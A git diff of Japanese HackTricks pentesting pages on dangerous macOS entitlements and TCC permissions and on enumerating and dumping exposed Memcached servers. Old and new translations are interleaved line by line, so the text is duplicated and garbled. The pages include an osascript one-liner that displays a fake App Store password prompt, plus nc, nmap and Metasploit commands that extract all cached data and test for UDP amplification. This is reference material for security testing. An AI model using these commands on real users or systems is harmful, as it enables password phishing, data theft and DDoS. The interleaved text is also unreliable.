### `com.apple.private.tcc.manager`または`com.apple.rootless.storage`.`TCC`
### `com.apple.private.tcc.manager` または `com.apple.rootless.storage`.`TCC`
[**このブログによると**](https://objective-see.org/blog/blog\_0x4C.html) **および** [**このブログによると**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/)、これらの権限は**TCC**データベースを**変更**することを可能にします。
[**このブログによると**](https://objective-see.org/blog/blog\_0x4C.html) **および** [**このブログによると**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/)、これらの権限は **TCC** データベースを **変更する** ことを許可します。
### **`system.install.apple-software`**および**`system.install.apple-software.standar-user`**
### **`system.install.apple-software`** および **`system.install.apple-software.standar-user`**
これらの権限は、ユーザーに許可を求めることなく**ソフトウェアをインストール**することを可能にします。これは**特権昇格**に役立ちます。
これらの権限は、ユーザーに許可を求めることなく **ソフトウェアをインストールする** ことを許可します。これは **特権昇格** に役立つ可能性があります。
### `com.apple.private.security.kext-management`
カーネルに**カーネル拡張機能をロードするように要求**するための権限が必要です。
カーネルにカーネル拡張を読み込むように要求するために必要な権限です。
### **`com.apple.private.icloud-account-access`**
権限**`com.apple.private.icloud-account-access`**を使用すると、**`com.apple.iCloudHelper`** XPCサービスと通信し、**iCloudトークンを提供**できます
権限 **`com.apple.private.icloud-account-access`** により、**`com.apple.iCloudHelper`** XPCサービスと通信することが可能になり、**iCloudトークンを提供します**
**iMovie**と**Garageband**にはこの権限がありました。
**iMovie****Garageband** はこの権限を持っていました。
この権限から**iCloudトークンを取得**するためのエクスプロイトについての詳細については、次のトークを参照してください:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
この権限から **iCloudトークンを取得する** ためのエクスプロイトに関する詳細は、トークを確認してください: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
### `com.apple.private.tcc.manager.check-by-audit-token`
TODO: これが何を許可するかわかりません
TODO: これが何を許可するわかりません
### `com.apple.private.apfs.revert-to-snapshot`
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **によると、これは**再起動後にSSVで保護されたコンテンツを更新するために使用できる可能性があります。方法を知っている場合は、PRを送信してください!
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) では、再起動後にSSV保護されたコンテンツを更新するために使用できる可能性があると述べられています。方法がわかる方はPRを送ってください!
### `com.apple.private.apfs.create-sealed-snapshot`
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **によると、これは**再起動後にSSVで保護されたコンテンツを更新するために使用できる可能性があります。方法を知っている場合は、PRを送信してください!
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) では、再起動後にSSV保護されたコンテンツを更新するために使用できる可能性があると述べられています。方法がわかる方はPRを送ってください!
### `keychain-access-groups`
この権限リストには、アプリケーションがアクセスできる**キーチェーン**グループが含まれています:
この権限は、アプリケーションがアクセスできる **キーチェーン** グループのリストです:
```xml
<key>keychain-access-groups</key>
<array>
@ -100,60 +101,62 @@ TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-O
```
### **`kTCCServiceSystemPolicyAllFiles`**
**フルディスクアクセス**権限を与え、持っているできるTCCの最高権限の1つです。
**フルディスクアクセス** 権限を付与します。これは、TCCの中で最も高い権限の1つです。
### **`kTCCServiceAppleEvents`**
アプリケーションが**タスクの自動化**に一般的に使用される他のアプリケーションにイベントを送信することを許可します。他のアプリを制御することで、これらの他のアプリに付与された権限を悪用することができます。
アプリが一般的に**タスクを自動化**するために他のアプリケーションにイベントを送信することを許可します。他のアプリを制御することで、これらの他のアプリに付与された権限を悪用することができます。
ユーザにパスワードを求めさせるようにすることもできます:
ユーザーにパスワードを要求させるようにすることができます:
{% code overflow="wrap" %}
```bash
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
```
{% endcode %}
またはそれらを**任意のアクション**を実行させることができます。
また**任意のアクション**を実行させることができます。
### **`kTCCServiceEndpointSecurityClient`**
他の権限の中で、**ユーザーのTCCデータベースを書き込む**ことができます。
ユーザーのTCCデータベースを**書き込む**ことを許可します。
### **`kTCCServiceSystemPolicySysAdminFiles`**
ユーザーの**ホームフォルダーパスを変更する**ユーザーの**`NFSHomeDirectory`**属性を**変更**することができ、それにより**TCCをバイパス**することができます。
ユーザーの**`NFSHomeDirectory`**属性を**変更**することを許可し、これによりホームフォルダのパスを変更し、**TCCをバイパス**することができます。
### **`kTCCServiceSystemPolicyAppBundles`**
デフォルトでは**許可されていない**アプリのバンドル内のファイルapp.app内を変更できます
アプリバンドル内のファイルを変更することを許可しますapp.app内、これは**デフォルトでは禁止されています**
<figure><img src="../../../.gitbook/assets/image (31).png" alt=""><figcaption></figcaption></figure>
このアクセス権を持っているユーザーを確認することができます。_システム設定_ > _プライバシーとセキュリティ_ > _アプリの管理_.
このアクセス権を持つユーザーを確認するには、_システム設定_ > _プライバシーとセキュリティ_ > _アプリ管理_を確認してください。
### `kTCCServiceAccessibility`
プロセスは**macOSのアクセシビリティ機能を悪用**することができます。つまり、例えばキーストロークを押すことができます。そのため、Finderのようなアプリを制御するアクセスをリクエストし、この権限でダイアログを承認することができます。
プロセスは**macOSのアクセシビリティ機能を悪用**できるようになります。つまり、例えばキー入力を押すことができるようになります。したがって、Finderのようなアプリを制御するためのアクセスを要求し、この権限でダイアログを承認することができます。
## Medium
## 中程度
### `com.apple.security.cs.allow-jit`
この権限により、`mmap()`システム関数に`MAP_JIT`フラグを渡すことで、**書き込み可能かつ実行可能なメモリを作成**することができます。詳細は[**こちら**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit)を参照してください
この権限、`mmap()`システム関数に`MAP_JIT`フラグを渡すことで、**書き込み可能かつ実行可能なメモリを作成**することを許可します。詳細については[**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit)。
### `com.apple.security.cs.allow-unsigned-executable-memory`
この権限により、**Cコードをオーバーライドまたはパッチ**することができ、長期間非推奨の**`NSCreateObjectFileImageFromMemory`**(基本的に安全ではない)を使用したり、**DVDPlayback**フレームワークを使用したりすることができます。詳細は[**こちら**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory)を参照してください
この権限は、**Cコードをオーバーライドまたはパッチ**することを許可し、長い間非推奨の**`NSCreateObjectFileImageFromMemory`**(根本的に安全ではありません)を使用するか、**DVDPlayback**フレームワークを使用することを許可します。詳細については[**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory)。
{% hint style="danger" %}
この権限を含めると、アプリがメモリの安全でないコード言語に一般的な脆弱性にさらされる可能性があります。この例外がアプリに必要かどうかを慎重に検討してください。
この権限を含めると、アプリがメモリ安全でないコード言語の一般的な脆弱性にさらされます。アプリがこの例外を必要とするかどうかを慎重に検討してください。
{% endhint %}
### `com.apple.security.cs.disable-executable-page-protection`
この権限により、ディスク上の自身の実行可能ファイルのセクションを**強制的に終了**することができます。詳細は[**こちら**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection)を参照してください
この権限は、ディスク上の**自分の実行可能ファイルのセクションを変更**して強制終了することを許可します。詳細については[**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection)。
{% hint style="danger" %}
実行可能メモリ保護を無効にする権限は、アプリから基本的なセキュリティ保護を削除し、攻撃者がアプリの実行可能コードを検出されずに書き換えることが可能になります。可能であれば、より狭い権限を選択してください。
実行可能メモリ保護を無効にする権限は、アプリから基本的なセキュリティ保護を取り除く極端な権限であり、攻撃者が検出されることなくアプリの実行可能コードを書き換えることを可能にします。可能であれば、より狭い権限を優先してください。
{% endhint %}
### `com.apple.security.cs.allow-relative-library-loads`
@ -162,31 +165,32 @@ TODO
### `com.apple.private.nullfs_allow`
この権限により、デフォルトでは禁止されているnullfsファイルシステムをマウントすることができます。ツール: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
この権限は、nullfsファイルシステムをマウントすることを許可しますデフォルトでは禁止されています。ツール: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master)
### `kTCCServiceAll`
このブログ投稿によると、このTCC権限は通常、以下の形式で見つかります:
このブログ投稿によると、このTCC権限は通常の形式で見つかります:
```
[Key] com.apple.private.tcc.allow-prompting
[Value]
[Array]
[String] kTCCServiceAll
```
プロセスが**すべてのTCC権限を要求する**ことを許可します
プロセスに**すべてのTCC権限を要求させる**
### **`kTCCServicePostEvent`**
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する
* **ハッキングテクニックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
</details>

View file

@ -1,43 +1,44 @@
# 11211 - Memcacheのペンテスト
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
## プロトコル情報
[wikipedia](https://en.wikipedia.org/wiki/Memcached)から:
> **Memcached**(発音: mem-cashed、mem-cash-deeは、一般的な分散[メモリキャッシング](https://en.wikipedia.org/wiki/Memory\_caching)システムです。データとオブジェクトをRAMにキャッシュして外部データソースデータベースやAPIなどを読み取る回数を減らすことで、動的なデータベース駆動型のウェブサイトの高速化によく使用されます。
> **Memcached**(発音mem-cashed, mem-cash-deeは、一般的な分散[メモリキャッシング](https://en.wikipedia.org/wiki/Memory\_caching)システムです。データとオブジェクトをRAMにキャッシュすることで、外部データソースデータベースやAPIなどを読み取る回数を減らし、動的なデータベース駆動のウェブサイトの速度を向上させるためにしばしば使用されます。
MemcachedはSASLをサポートしていますが、ほとんどのインスタンスは**認証なしで公開**されています。
MemcachedはSASLをサポートしていますが、ほとんどのインスタンスは**認証なしで公開されています**
**デフォルトポート:** 11211
**デフォルトポート** 11211
```
PORT STATE SERVICE
11211/tcp open unknown
```
## 列挙
## Enumeration
### 手動
### Manual
Memcacheインスタンスに保存されているすべての情報を外部に持ち出すには、次の手順が必要です
memcacheインスタンス内に保存されているすべての情報を抽出するには、次の手順を実行する必要があります。
1. **アクティブなアイテム**を持つ**スラブ**を見つける
2. 前に検出したスラブの**キー名**を取得する
3. **キー名**を取得して、保存されたデータを外部に持ち出す
1. **アクティブアイテム**のある**スラブ**を見つける
2. 前に検出したスラブの**キー名**を取得する
3. **キー名**を取得することで**保存されたデータ**を抽出する
このサービスは単なる**キャッシュ**であるため、**データが現れたり消えたり**する可能性があります
このサービスは単なる**キャッシュ**であるため、**データが現れたり消えたりする**ことを忘れないでください
```bash
echo "version" | nc -vn -w 1 <IP> 11211 #Get version
echo "stats" | nc -vn -w 1 <IP> 11211 #Get status
@ -63,19 +64,19 @@ nmap -n -sV --script memcached-info -p 11211 <IP> #Just gather info
msf > use auxiliary/gather/memcached_extractor #Extracts saved data
msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplification attack is possible
```
## **Memcacheキーのダンプ**
## **Dumping Memcache Keys**
Memcacheの世界では、データをスラブで整理するプロトコルであるmemcacheには、格納されたデータを調査するための特定のコマンドが存在しますが、注目すべき制約があります。
メモキャッシュの領域では、データをスラブによって整理するのを助けるプロトコルであり、保存されたデータを検査するための特定のコマンドが存在しますが、顕著な制約があります:
1. キーはスラブクラスごとにダンプすることができます。これは、コンテンツサイズが類似しているキーをグループ化します。
2. 1つのスラブクラスごとに1ページの制限があり、これは1MBのデータに相当します。
3. この機能は非公式であり、[コミュニティフォーラム](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM)で議論されているように、いつでも廃止される可能性があります。
1. キーはスラブクラスごとにのみダンプでき、同様のコンテンツサイズのキーをグループ化します。
2. スラブクラスごとに1ページの制限があり、これは1MBのデータに相当します。
3. この機能は公式ではなく、いつでも中止される可能性があるため、[コミュニティフォーラム](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM)で議論されています。
潜在的にギガバイトのデータから1MBしかダンプできないという制限は特に重要です。ただし、この機能は、特定のニーズに応じてキーの使用パターンに関する洞察を提供することができます。メカニクスにあまり興味がない人のためには、[ツールセクション](https://lzone.de/cheat-sheet/memcached#tools)を訪れると、包括的なダンプのためのユーティリティが見つかります。また、memcachedセットアップとの直接対話のためにtelnetを使用するプロセスが以下に概説されています。
ギガバイトのデータから1MBしかダンプできないという制限は特に重要です。しかし、この機能は特定のニーズに応じてキーの使用パターンに関する洞察を提供することができます。メカニクスにあまり興味がないは、[ツールセクション](https://lzone.de/cheat-sheet/memcached#tools)を訪れると、包括的なダンプのためのユーティリティが見つかります。あるいは、メモキャッシュのセットアップと直接対話するためのtelnetの使用プロセスは以下に示されています。
### **動作原理**
### **How it Works**
Memcacheのメモリ構成は重要です。メモリキャッシュを"-vv"オプションで初期化すると、生成されるスラブクラスが表示されます。
メモキャッシュのメモリの組織は重要です。"-vv"オプションでメモキャッシュを起動すると、生成されるスラブクラスが表示されます。
```bash
$ memcached -vv
slab class 1: chunk size 96 perslab 10922
@ -85,87 +86,89 @@ slab class 1: chunk size 96 perslab 10922
```bash
stats slabs
```
memcached 1.4.13に単一のキーを追加することで、スラブクラスがどのように作成および管理されるかが示されます。たとえば:
メモリキャッシュ 1.4.13 に単一のキーを追加することで、スラブクラスがどのように構成され、管理されるかを示しています。例えば:
```bash
set mykey 0 60 1
1
STORED
```
以下は、キーの追加後に "stats slabs" コマンドを実行すると、スラブの利用状況に関する詳細な統計情報が得られます:
"stats slabs" コマンドをキー追加後に実行すると、スラブの利用状況に関する詳細な統計が得られます:
```bash
stats slabs
[...]
```
以下の出力は、アクティブなスラブタイプ、利用されているチャンク、および操作統計を示し、読み取りおよび書き込み操作の効率に関する洞察を提供します。
この出力は、アクティブなスラブタイプ、使用されているチャンク、および運用統計を明らかにし、読み取りおよび書き込み操作の効率に関する洞察を提供します。
もう1つの便利なコマンド、「stats items」は、エビクション、メモリ制約、およびアイテムのライフサイクルに関するデータを提供します
もう一つの便利なコマンド「stats items」は、追い出し、メモリ制約、およびアイテムのライフサイクルに関するデータを提供します
```bash
stats items
[...]
```
これらの統計は、異なるコンテンツサイズに対するキャッシュ効率、メモリ割り当て、大きなオブジェクトのキャッシュ能力を含むアプリケーションキャッシングの動作についての教育的な仮定を可能にします。
### **キーのダンプ**
1.4.31より前のバージョンでは、スラブクラスを使用してキーをダンプします。
バージョン1.4.31以前では、キーはスラブクラスによってダンプされます:
```bash
stats cachedump <slab class> <number of items to dump>
```
例えば、クラス1でキーをダンプするには
例えば、クラス#1のキーをダンプするには:
```bash
stats cachedump 1 1000
ITEM mykey [1 b; 1350677968 s]
END
```
このメソッドはスラブクラスを反復処理し、キーの値を抽出しオプションでダンプします。
このメソッドはスラブクラスを反復処理し、キーの値を抽出しオプションでダンプします。
### **MEMCACHEキーのダンプVER 1.4.31+**
### **MEMCACHE キーのダンプ (VER 1.4.31+)**
memcacheバージョン1.4.31以降では、[リリースノート](https://github.com/memcached/memcached/wiki/ReleaseNotes1431)で詳細に説明されている非同期モードを利用して、本番環境でキーをダンプするための新しい、安全な方法が導入されました。このアプローチは広範な出力を生成するため、「nc」コマンドを効率的に使用することを推奨しています。例は次のとおりです
memcache バージョン 1.4.31 以上では、[リリースノート](https://github.com/memcached/memcached/wiki/ReleaseNotes1431)に詳述されている非ブロッキングモードを利用した、プロダクション環境でのキーをダンプするための新しい安全な方法が導入されました。このアプローチは広範な出力を生成するため、効率のために 'nc' コマンドを使用することを推奨します。例としては
```bash
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | head -1
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce13f9a24f9a28
```
### **ダンピングツール**
### **ダンツール**
表は[こちら](https://lzone.de/blog)から。
Table [from here](https://lzone.de/blog).
| プログラミング言語 | ツール | 機能 | | |
| プログラミング言語 | ツール | 機能 | | |
| --------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------- | ------- |
| PHP | [シンプルなスクリプト](http://snipt.org/xtP) | キー名を表示します。 | | |
| Perl | [シンプルなスクリプト](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1\&modificationDate=1229693957401) | キーと値を表示します。 | | |
| Ruby | [シンプルなスクリプト](https://gist.github.com/1365005) | キー名を表示します。 | | |
| Perl | [memdump](https://search.cpan.org/\~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | CPANモジュールのツール | [Memcached-libmemcached](https://search.cpan.org/\~dmaki/Memcached-libmemc) | ached/) |
| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | キーをダンプすることも可能なMemcacheモニタリングGUI | | |
| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **あなたのmemcachedプロセスをフリーズさせます!!!** 本番環境で使用する際は注意してください。それでも、1MBの制限を回避し、本当に**すべて**のキーをダンプすることができます。 | | |
| PHP | [simple script](http://snipt.org/xtP) | キー名を表示します。 | | |
| Perl | [simple script](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1\&modificationDate=1229693957401) | キーと値を表示します。 | | |
| Ruby | [simple script](https://gist.github.com/1365005) | キー名を表示します。 | | |
| Perl | [memdump](https://search.cpan.org/\~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | CPANモジュールのツール | [Memcached-libmemcached](https://search.cpan.org/\~dmaki/Memcached-libmemc) | ached/) |
| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | キーのダンプも可能なMemcacheモニタリングGUI | | |
| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **memcachedプロセスがフリーズします!!!** 本番環境で使用する際は注意してください。それでも使用することで1MBの制限を回避し、**すべての**キーをダンプできます。 | | |
## トラブルシューティング <a href="#troubleshooting" id="troubleshooting"></a>
### 1MBデータ制限 <a href="#1mb-data-limit" id="1mb-data-limit"></a>
memcached 1.4以前では、デフォルトの最大スラブサイズのため、1MBを超えるオブジェクトを保存することはできません
memcached 1.4以前では、デフォルトの最大スラブサイズのため、1MBを超えるオブジェクトを保存できないことに注意してください
### タイムアウトを30日を超える値に設定しないでください! <a href="#never-set-a-timeout--30-days" id="never-set-a-timeout--30-days"></a>
### タイムアウトを30日以上に設定しないでください! <a href="#never-set-a-timeout--30-days" id="never-set-a-timeout--30-days"></a>
許可された最大値よりも大きなタイムアウトでキーを「set」または「add」しようとすると、memcachedは値をUnixタイムスタンプとして扱うため、期待通りの結果が得られない可能性があります。また、タイムスタンプが過去の場合は何も行いません。コマンドは静かに失敗します。
許可された最大値より大きなタイムアウトでキーを「設定」または「追加」しようとすると、memcachedはその値をUnixタイムスタンプとして扱うため、期待通りの結果が得られない場合があります。また、タイムスタンプが過去の場合は、何も行われません。コマンドは静かに失敗します。
したがって、最大の有効期限を使用したい場合は2592000を指定してください。例
したがって、最大の寿命を使用したい場合は、2592000を指定してください。例:
```
set my_key 0 2592000 1
1
```
### オーバーフロー時のキーの消失 <a href="#disappearing-keys-on-overflow" id="disappearing-keys-on-overflow"></a>
### Disappearing Keys on Overflow <a href="#disappearing-keys-on-overflow" id="disappearing-keys-on-overflow"></a>
ドキュメントには64ビットを超える値を「incr」を使用してオーバーフローさせると値が消えると記載されています。再度「add」/「set」を使用して作成する必要があります。
ドキュメントには、64ビットのオーバーフロー値を「incr」を使用してラップすると値が消えると書かれていますが、再度「add」/「set」を使用して作成する必要があります。
### レプリケーション <a href="#replication" id="replication"></a>
### Replication <a href="#replication" id="replication"></a>
memcached自体はレプリケーションをサポートしていません。本当に必要な場合は、以下のようなサードパーティのソリューションを使用する必要があります:
memcached自体はレプリケーションをサポートしていません。本当に必要な場合は、サードパーティのソリューションを使用する必要があります
* [repcached](http://repcached.lab.klab.org/): マルチマスター非同期レプリケーションmemcached 1.2パッチセット)
* [Couchbase memcached interface](http://www.couchbase.com/memcached): CouchBaseをmemcachedの代替として使用
* [yrmcds](https://cybozu.github.io/yrmcds/): memcached互換のマスタースレーブキー値ストア
* [twemproxy](https://github.com/twitter/twemproxy)別名nutcracker: memcachedサポート付きのプロキシ
* [Couchbase memcached interface](http://www.couchbase.com/memcached): CouchBaseをmemcachedのドロップインとして使用
* [yrmcds](https://cybozu.github.io/yrmcds/): memcached互換のマスタースレーブキー値ストア
* [twemproxy](https://github.com/twitter/twemproxy) (別名nutcracker): memcachedサポートのプロキシ
### コマンドチートシート
### Commands Cheat-Sheet
{% content-ref url="memcache-commands.md" %}
[memcache-commands.md](memcache-commands.md)
@ -176,20 +179,21 @@ memcached自体はレプリケーションをサポートしていません。
* `port:11211 "STAT pid"`
* `"STAT pid"`
## 参考文献
## References
* [https://lzone.de/cheat-sheet/memcached](https://lzone.de/cheat-sheet/memcached)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,65 +1,67 @@
# Memcache コマンド
# Memcache Commands
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegram グループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@carlospolopm** をフォローする
* **ハッキングテクニックを共有するには、PR を** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **の GitHub リポジトリに提出してください**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## コマンドチートシート
## Commands Cheat-Sheet
